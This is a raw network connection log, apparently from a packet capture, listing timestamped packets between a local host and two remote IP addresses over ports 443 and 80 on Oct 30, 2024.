Oct 30, 2024 15:59:43.026271105 CET	443	49822	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.026334047 CET	49822	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.026628971 CET	49822	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.026642084 CET	443	49822	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.027342081 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.027542114 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.027587891 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.027700901 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.027713060 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.027734041 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.027740002 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.030364990 CET	49823	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.030400991 CET	443	49823	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.030469894 CET	49823	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.030607939 CET	49823	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.030627012 CET	443	49823	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.063812971 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.069314957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.151232004 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.198039055 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.198071003 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.198566914 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.198571920 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.208612919 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.208992958 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.209001064 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.209423065 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.209428072 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.325867891 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.325943947 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.326136112 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.326298952 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.326298952 CET	49818	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.326318979 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.326330900 CET	443	49818	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.329752922 CET	49827	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.329782963 CET	443	49827	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.329852104 CET	49827	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.330018044 CET	49827	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.330032110 CET	443	49827	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.336844921 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.336913109 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.336981058 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.337153912 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.337167025 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.337177038 CET	49819	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.337182045 CET	443	49819	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.340306997 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.340337038 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.340384007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340389013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340440035 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.340462923 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.340509892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340567112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.340573072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340585947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340630054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.340662003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340673923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340714931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.340893984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340905905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340917110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340941906 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.340967894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.340984106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.340996027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341010094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341022015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341028929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341052055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341101885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341124058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341145992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341169119 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341249943 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341262102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341272116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341284990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341295958 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341320992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341331005 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341334105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341362953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341387987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341394901 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341401100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341412067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341444016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341470957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341514111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341526031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341536045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341551065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341562986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341566086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341574907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341579914 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341612101 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341612101 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341808081 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341820002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341830015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341840982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341852903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341859102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341860056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341876030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341881990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341887951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341892004 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.341895103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.341941118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342066050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342083931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342094898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342109919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342109919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342122078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342133999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342138052 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342145920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342155933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342166901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342168093 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342179060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342186928 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342190981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342202902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342225075 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342247009 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342288971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342315912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342328072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342329025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342351913 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342356920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342364073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342371941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342402935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342510939 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342530966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342541933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342544079 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342557907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342569113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342573881 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342581987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342596054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342621088 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342648983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342662096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342673063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342686892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342695951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342724085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342734098 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342773914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342787027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342797041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342808008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342818975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342828989 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342844963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342854023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:43.342874050 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.342897892 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:43.757391930 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.770032883 CET	443	49823	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.770180941 CET	443	49822	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.810213089 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.810213089 CET	49823	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.825715065 CET	49822	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.868439913 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.868454933 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.868586063 CET	49823	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.868594885 CET	443	49823	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.869610071 CET	49823	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.869616985 CET	443	49823	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.869822025 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.869827986 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.872721910 CET	49822	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.872733116 CET	443	49822	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.873570919 CET	49822	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.873575926 CET	443	49822	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.996345997 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.996422052 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.996483088 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:43.996675014 CET	443	49823	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.997256994 CET	443	49823	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:43.997311115 CET	49823	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.001319885 CET	443	49822	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.001403093 CET	443	49822	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.002511024 CET	49822	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.014626026 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.014656067 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.014672995 CET	49821	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.014678955 CET	443	49821	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.015028000 CET	49823	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.015033007 CET	443	49823	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.015043974 CET	49823	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.015048027 CET	443	49823	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.015731096 CET	49822	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.015741110 CET	443	49822	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.015773058 CET	49822	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.015778065 CET	443	49822	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.060641050 CET	49832	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.060693026 CET	443	49832	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.060760021 CET	49832	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.062081099 CET	49832	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.062092066 CET	443	49832	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.064177036 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.064202070 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.064275980 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.064434052 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.064448118 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.064461946 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.064472914 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.066962004 CET	443	49827	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.067050934 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.067229986 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.067240000 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.067608118 CET	49827	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.067630053 CET	443	49827	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.068111897 CET	49827	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.068118095 CET	443	49827	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.174001932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:44.174031973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:44.179410934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:44.179423094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:44.200103045 CET	443	49827	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.202600002 CET	443	49827	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.202697992 CET	49827	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.203025103 CET	49827	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.203037977 CET	443	49827	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.203067064 CET	49827	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.203072071 CET	443	49827	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.206382036 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.206414938 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.206614971 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.206804037 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.206818104 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.344842911 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.344897985 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.344985962 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.345822096 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.345835924 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.793608904 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.794294119 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.794306040 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.794806004 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.794811010 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.799277067 CET	443	49832	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.799659014 CET	49832	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.799669027 CET	443	49832	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.799802065 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.800173044 CET	49832	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.800178051 CET	443	49832	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.800213099 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.800235033 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.800587893 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.800594091 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.922674894 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.922765970 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.923026085 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.923458099 CET	49834	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.923470020 CET	443	49834	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.927614927 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.927644968 CET	443	49838	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.927763939 CET	49838	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.934978962 CET	443	49832	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.935653925 CET	443	49832	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.935745001 CET	49832	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.935836077 CET	49832	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.935843945 CET	443	49832	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.935857058 CET	49832	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.935863018 CET	443	49832	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.939052105 CET	49839	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.939091921 CET	443	49839	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.939165115 CET	49839	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.939328909 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.939393044 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.939531088 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.940268993 CET	49839	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.940285921 CET	443	49839	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.940452099 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.940452099 CET	49833	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.940466881 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.940475941 CET	443	49833	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.944166899 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.944185019 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.944257975 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.944454908 CET	49840	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.944470882 CET	443	49840	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.950336933 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.950864077 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.950877905 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.951899052 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:44.951904058 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:44.952490091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:44.952564001 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:45.081026077 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.083307028 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.083349943 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.083415031 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.083436012 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.083475113 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.084069014 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.084124088 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.084598064 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.084619045 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.084815979 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.084829092 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.084836960 CET	49835	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.084841967 CET	443	49835	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.089493990 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.089524984 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.089751005 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.090018034 CET	49841	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.090034008 CET	443	49841	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.209896088 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:45.215823889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:45.217973948 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.218327999 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.218375921 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.218408108 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.218461037 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.218588114 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.218611956 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.218626976 CET	49828	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.218635082 CET	443	49828	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.221525908 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.221580029 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.221808910 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.222038984 CET	49842	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:45.222045898 CET	443	49842	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:45.488873005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:45.488910913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:45.488931894 CET	49716	80	192.168.2.6	185.215.113.206
